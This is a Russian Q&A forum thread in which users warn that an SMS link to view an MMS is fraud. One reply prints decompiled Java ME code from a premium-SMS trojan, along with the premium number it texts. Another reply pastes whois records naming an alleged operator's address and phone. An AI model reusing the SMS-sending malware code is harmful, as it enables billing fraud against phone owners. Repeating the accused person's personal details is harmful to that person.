Интернет

Ночью пришло: ,, для просмотра MMS перейдите по ссылке /photos-mms.ru/id154 что это?

ВР
Вася Рогов
18 849
фигня это всё...
Артем Прокопьев
Артем Прокопьев
544
Лучший ответ
Это телефонный "вирус" - будет слать смски на платные номера. Написан на Java, так что мало ему что удастся, если не разрешить случайно и не понимая что делаешь.

F-Secure9.0.16160.02011.01.21Riskware:Java/SmsSend.Gen!A

и можно "декомпилировать" код на Java и посмотреть, что он делает
но тут и так очевидно, особенно если попытаться заглянуть на "сайт" photos-mms.ru

ps: декомпилировал. . о чем и говорил - пытается слать смски. . вот кусок кода
public static boolean a(String paramString1, String paramString2)
{
try
{
TextMessage localTextMessage;
(localTextMessage = (TextMessage)(paramString1 = (MessageConnection)Connector.open("sms://" + paramString1)).newMessage("text")).setPayloadText(paramString2);
paramString1.send(localTextMessage);
if (paramString1 != null)
paramString1.close();
}
catch (Exception localException)
{
return false;
}
return true;
}

при чем при работе выводит простую картинку, выдает ошибку и просит заново запустить приложение
paramGraphics.drawString("Возникла ошибка", 1, 1, 20);
paramGraphics.drawString("Перезапустите! ", 1, 1 + paramGraphics.getFont().getHeight(), 20);
a(paramGraphics, "", "Выход");

а номер, на который шлет - 2555

ps: а если хочется "пообщаться" с автором - в коде есть информация
Razrabotka prilozhenij!
icq 67504946

pps: ну и, наконец, можете запустить в MIDP эмуляторе, если не лень :)
http://developers.sun.com/mobility/midp/articles/emulators/
Вадим Канунник
Вадим Канунник
54 810
Павел единственный правильно ответил. На сайт оператора и смотрите если утюга боитесь.
Вадим Канунник Это развод.. левый сайт, в коде отсылка смс..
не открывать личше. У меня было на подобе, они так на какуюто рассылку дурацкую подписывают, а она платная .Будут по 300 р в месяц снимать
ИФ
Иван Фомин
5 334
когда телефон не поддерживает ммс сообщения их можно посмотреть по ссылки которую обычно выводит вместо самой ммс
Это мошенники шлют смс, я уже дважды сталкивался, когда на Авито объявления давал. Приходит смс, наподобие "Обмен с моей доплатой" и ссыль. Моя родственница ткнула один раз на ссылку, у нее с карты 1000 списалась. Скрипт запускает смс пополнения баланса счета телефона а потом еще одно с переводом денег на Вестерн Юнион. Я потом детализацию смотрел. А т. к. пополненяется счет телефона, привязанного к карте, то он и подтверждение не спрашивает. Не жмите на такие ссылки лучше.
Mike Mishkin
Mike Mishkin
290
Роман Пашков Спасибо !
Ссылка MMS23.MS (MMS23.MS/NVY) - ВРЕДОНОСНАЯ! Находится здесь: 104.31.83.75 (CLOUDFLARENET, 104.16.0.0 - 104.31.255.255). ВРЕДОНОСНЫЙ сайт MMS23.MS (MMS23.MS/NVY) ПЕРЕНАПРАВЛЯЕТ на ВРЕДОНОСНЫЙ OBOI.RU.COM 104.28.23.20 (CLOUDFLARENET, 104.16.0.0 - 104.31.255.255). Вредоносный файл находится на ЯНДЕКС-ДИСКЕ (тип вируса: Android.Packed.15893). ПРЕСТУПНИКИ всё те-же.
Немного whois ВРЕДОНОСНОГО сайта MMS23.MS :
--------------
Domain Name: mms23.ms
Domain ID: 490777-CoCCA
WHOIS Server: whois.nic.ms
Referral URL:
Updated Date: 2017-12-06T18:35:21.817Z
Creation Date: 2017-12-06T14:55:02.420Z
Registry Expiry Date: 2018-12-06T14:55:02.467Z
Sponsoring Registrar: 1api GmbH
Sponsoring Registrar Abuse Phone: +49.68416984200
Sponsoring Registrar Abuse Email: info@1api.net
Domain Status: clientTransferProhibited
Registrant ID: 490757-CoCCA
Registrant Name: Danil Pushkin
Registrant Street: Surovikh d 22 kv 43
Registrant City: Kalusha
Registrant State/Province: Kalusha
Registrant Postal Code: 554121
Registrant Country: RU
Registrant Phone: +7.9521212114 (оператор ООО "Т2 Мобайл" (ТЕЛЕ2), Рязанская область)
Registrant Phone Ext:
Registrant Email: sefrgrewf.wregreferf@yandex.ru
...
--------------------
Сайт OBOI.RU.COM вероятно взломан преступниками.

Ранее эти преступники использовали следующие сайты: MMS2.MS 104.24.108.153, 34RWERW434R3.XYZ (34RWERW434R3.XYZ/MMSYAD.PHP) 104.31.80.16
Немного whois ВРЕДОНОСНЫХ сайтов MMS2.MS:
----------
Registrant ID: 486411-CoCCA
Registrant Name: Danil Pushkin
Registrant Street: Surovikh d 22 kv 43
Registrant City: Kalusha
Registrant State/Province: Kalusha
Registrant Postal Code: 554121
Registrant Country: RU
Registrant Phone: +7.9521212114 (+79521212114 ТЕЛЕ2-Рязань)
Registrant Phone Ext:
Registrant Email: sefrgrewf.wregreferf@yandex.ru
-------------
и 34RWERW434R3.XYZ:
----------
Registry Registrant ID: C144875678-CNIC
Registrant Name: Protection of Private Person
Registrant Organization: Privacy Protection
Registrant Street: PO box 87, REG.RU Protection Service
Registrant City: Moscow
Registrant State/Province:
Registrant Postal Code: 123007
Registrant Country: RU
Registrant Phone: +7.4955801111 (+74955801111 - ПАО "Центральный телеграф", г. Москва)
Registrant Fax: +7.4955801111
Registrant Email: 34rwerw434r3.xyz@regprivate.ru

Похожие вопросы